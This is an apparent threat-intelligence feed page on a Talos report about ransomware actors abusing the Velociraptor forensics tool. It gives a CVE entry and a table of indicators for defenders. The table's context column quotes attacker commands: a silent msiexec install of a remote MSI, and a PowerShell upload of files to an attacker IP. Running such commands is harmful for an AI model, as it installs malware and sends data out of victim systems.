Ransomwarehigh
Velociraptor leveraged in ransomware attacks
Vulnerabilities mentioned
All| CVE | Vulnerability | CVSS | EPSS | Signals | Published |
|---|---|---|---|---|---|
| CVE-2025-6264 | Velociraptor allows collection of VQL queries packaged into Artifacts from endpoints | 5.5 | 1% | PoC ×2 |
Indicators of compromise
auto-extracted · verify before use · export allAll| Type | Indicator | Context |
|---|---|---|
| domain | windows.net | . msiexec /q /i hxxps[:]//stoaccinfoniqaveeambkp.blob.core.windows[.]net/veeam/v2.msi The actors also executed the following comm |
| ipv4 | 65.38.121.226 | b.HttpUtility]::UrlEncode($fileName) $uploadUrl = "http[:]//65.38.121[.]226/test/$encodedFileName" Write-Host "upload $file to $uploa |
| sha256 | 12f177290a299bae8a363f47775fb99f305bbdd56bbdfddb39595b43112f9fb7 | CA5412F1091186A803D3905465219053393F6421 Velociraptor.exe - 12F177290A299BAE8A363F47775FB99F305BBDD56BBDFDDB39595B43112F9FB7 Malicious Velociraptor config.yaml - A29125333AD72138D299CC |
| sha256 | 649bdaa38e60ede6d140bd54ca5412f1091186a803d3905465219053393f6421 | d by the adversary for persistence Velociraptor installer – 649BDAA38E60EDE6D140BD54CA5412F1091186A803D3905465219053393F6421 Velociraptor.exe - 12F177290A299BAE8A363F47775FB99F305BBDD5 |
| sha256 | a29125333ad72138d299cc9ef09718ddb417c3485f6b8fe05ba88a08bb0e5023 | BDFDDB39595B43112F9FB7 Malicious Velociraptor config.yaml - A29125333AD72138D299CC9EF09718DDB417C3485F6B8FE05BA88A08BB0E5023 Internal Monologue NTLM downgrade malware: In.exe- C74897B1 |
| sha256 | c74897b1e986e2876873abb3b5069bf1b103667f7f0e6b4581fbda3fd647a74a | BB0E5023 Internal Monologue NTLM downgrade malware: In.exe- C74897B1E986E2876873ABB3B5069BF1B103667F7F0E6B4581FBDA3FD647A74A |
| url | https://stoaccinfoniqaveeambkp.blob.core.windows.net/veeam/v2.msi | eral times even after the host was isolated. msiexec /q /i hxxps[:]//stoaccinfoniqaveeambkp.blob.core.windows[.]net/veeam/v2.msi The actors also executed the following command to run |
From the original article
8 min read at blog.talosintelligence.com
Cisco Talos has confirmed that ransomware operators are leveraging Velociraptor , an open-source digital forensics and incident response (DFIR) tool that had not previously been definitively tied to ransomware incidents .
blog.talosintelligence.com
A short excerpt; the article and its images belong to the publisher. Summary, key facts and assessment above are AI-written from the article and can be wrong.